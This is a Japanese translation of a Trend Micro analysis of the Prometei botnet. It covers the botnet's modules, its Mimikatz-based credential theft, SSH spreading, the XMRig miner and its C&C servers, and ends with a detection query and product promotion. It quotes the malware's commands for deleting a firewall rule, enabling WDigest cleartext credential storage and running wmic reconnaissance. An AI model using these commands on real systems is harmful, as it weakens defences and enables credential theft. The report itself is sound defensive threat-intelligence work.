- 自身の起動パラメータをチェックする。対象パラメータとして、「ver」、「Dcomsvc」、「sha1chk {チェックサム期待値} {対象ファイル}」、「watchdog」などが挙げられる。パラメータ付きの動作テストにおいて、コンソールへの出力は確認されなかった。
- 作成済みのサービスにより、sqhost.exeがパラメータ「Dcomsvc」付きで実行される。
- 今回調査したファイル「sqhost.exe」は、ボットネット「Prometei」のバージョン「3.22」に相当すると考えられる。
- sqhost.exeがパラメータ「Dcomsvc」付きで起動した場合、以降の処理を実行する。
- 自身をパラメータ「watchdog」付きで起動する。このパラメータで起動したsqhost.exeは、自身のサービスが1インスタンスしか起動しないように制御する。
- 下記のコマンドを実行する。
- "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall delete rule name="Banned brute IPs"
- "C:\Windows\System32\cmd.exe" /C Auditpol /set /subcategory:"Logon" /failure:enable
- 下記のダウンロード済みモジュールを実行する。
- "C:\Windows\System32\cmd.exe" /C rdpcIip.exe
- "C:\Windows\System32\cmd.exe" /C netsync_v2.exe
- "C:\Windows\System32\cmd.exe" /C nvstub_v2.exe
- "C:\Windows\System32\cmd.exe" /C netdefender.exe
- 偵察用のコマンドを実行する。
- wmic baseboard get Manufacturer
- wmic baseboard get product
- wmic ComputerSystem get Model
- cmd.exe /c ver
- wmic OS get lastbootuptime
- wmic os get caption
- C&Cサーバへの接続試行を開始する。
- 接続に成功した場合、C&Cサーバからのコマンドを待ち受ける。
- バイナリ解析の結果、ボット機能の設定情報を配布するC&Cサーバとして、下記の4候補が確認された。
- http[://]p2.feefreepool[.]net/cgi-bin/prometei.cgi
- http[://]mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq[.]zero/cgi-bin/prometei.cgi
- http[://]mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq[.]b32[.]i2p/cgi-bin/prometei.cgi
- https[://]gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei.cgi
- ファイル解析によって確認されたバックドアコマンドを、下表に示す。
- sqhost.exeは、下記の情報窃取機能を持つ。
- 偵察用コマンドを使用し、標的システムやマザーボードの詳細情報を窃取する。
- 上記以外にも、バックドアコマンドを通してさまざまな情報を窃取できる。
rdpclip.exeおよびwinhlpx64.exe
- ボットネット拡散のメインモジュールに相当する。
- ボットネット本体「sqhost.exe」によって起動される。
- 下記コマンドにより、パスワード窃取モジュールを稼働させる。
- "C:\Windows\System32\cmd.exe" /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /f /t REG_DWORD /d 1
miwalk.exe
- 攻撃ツール「Mimikatz」の独自バージョンに相当する。
- rdpclip.exeによって起動される。親プロセスと連携して動き、水平移動・内部活動に利用可能な認証情報を収集する。
- 収集した認証情報を、ファイル「C:\Windows\dell\slldata2.dll」に保存する。
windrlver.exe
- ボットネットのSSH拡散モジュールに相当する。
- rdpclip.exeによって起動される。
- rdpclip.exeに定義されたパラメータを添えて起動しなければ、動作しない。
SearchIndexer.exe
- ボットネットの暗号資産マイニング用ペイロードに相当する。
- 暗号資産マイナー「XMRig」のバージョン「6.18.0」を使用する。
- バックドアコマンド「start_mining」や「start_mining1」の受信時に、sqhost.exeによって呼び出される。
攻撃グループの特定
Prometeiボットネットの背後にいる攻撃グループについては、未知の点が多く残されていますが、ロシア語話者の存在を示す証跡が得られています。「Prometei」という名前についても、「Prometheus」のロシア語訳から来たものであり、文化的な繋がりが示唆されます。
2016年当時の古いバージョンからは、ロシア語設定の痕跡を確認できます。例えば、ボットのメイン・モジュール内に未編集のまま残された製品名や、ロシア語を示す言語コードなどが挙げられます。
さらに、Prometeiが用いるモジュールの一部には、ロシア語話者を感染させないようにする技巧が施されています。特に目を引く一例が、Torクライアントとの連動機能であり、TorによるC&Cサーバとの通信をサポートしながらも、旧ソビエト連邦諸国の出口ノードを避けるように制御されています。別のコンポーネント「nvsync.exe」は、窃取済みの認証情報をチェックし、「ゲスト」や「他ユーザ」のロシア語表記が付されたアカウントを対象外として扱います。以上の点からも、当該グループが標的を選別していることが示唆されます。
まとめ
本調査では、ボットネット「Prometei」による攻撃活動の複雑な仕組みや、標的システムに長期潜伏する手口が明らかになりました。Prometeiは、水平移動・内部活動の技術やWMIのコマンドを利用し、SMBやRDPの脆弱性を突くことで、標的端末から急速に拡散します。また、sqhost.exeやmiwalk.exeなどのコンポーネントを用いることで、C&Cサーバからの指示を受け入れ、認証情報を窃取します。さらに、Base64によるPowerShellコマンドの難読化や、ペイロードのエンコード、ファイアウォールの設定変更といった技術により、検知回避や永続化の性能を高めています。
今回は、MXDR(Managed Extended Detection and Response)のサービスを導入することで、リアルタイムでの監視や事象の関連付けを含むプロセスが強化され、攻撃の早期な検知と対処が可能となりました。また、インシデントの対応時にMXDRや脅威インテリジェンスを活用することで、ボットネット「Prometei」の性質や、標的システムに及ぼす影響が明確化されました。本事例が示すように、高度な攻撃からシステムを迅速に保護する上では、先手を打った検知や対応が重要です。その際には、適切な機能を備えたセキュリティソリューション(Trend Vision Oneのような)が大きな役割を果たします。
トレンドマイクロによる脅威情報の活用
進化する脅威に備え、トレンドマイクロの製品をご利用の方は、Trend Vision One™を通してさまざまなインテリジェンス・レポート(Intelligence Report)や脅威インサイト(Threat Insight)にアクセスできます。脅威インサイトは、サイバー攻撃の脅威が生じる前に対策を確立し、準備体制を整える上で役立ちます。さらに、不正な活動や手口を含めた攻撃者に関する情報を、幅広く網羅しています。こうした脅威情報を活用することで、ご利用の環境を保護し、リスクを軽減し、脅威に的確に対処するための対策を自発的に講じていくことが可能となります。
Trend Vision Oneのアプリ「Intelligence Reports」(IOC Sweeping)
Unmasking Prometei: A Deep Dive Into Our MXDR Findings(ボットネット「Prometei」による攻撃の手口を解明:MXDRチームによる対応と分析)
Trend Vision Oneのアプリ「Threat Insights」
Emerging Threats: Unmasking Prometei: A Deep Dive Into Our MXDR Findings(高まる脅威:ボットネット「Prometei」による攻撃の手口を解明:MXDRチームによる対応と分析)
脅威ハンティングのクエリ
Trend Vision Oneのアプリ「Search」
Vision Oneをご利用のお客様は、アプリ「Search」の機能を用いることで、ご利用中の環境を解析し、本稿で挙げた不正な活動の兆候を検知、照合できます。
マルウェア「PROMETEI」の検知
malName:* PROMETEI* AND eventName:MALWARE_DETECTION
Vision Oneをご利用中で、かつ「Threat Insights」(現在プレビュー版)が有効となっている場合、さらに多くのハンティング用クエリをご確認いただけます。
侵入の痕跡(IoC:Indicators of Compromise)
侵入の痕跡(IoC)は、こちらからご確認いただけます。
参考記事:
Unmasking Prometei: A Deep Dive Into Our MXDR Findings
By: Buddy Tancio, Bren Matthew Ebriega, Mohamed Fahmy
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)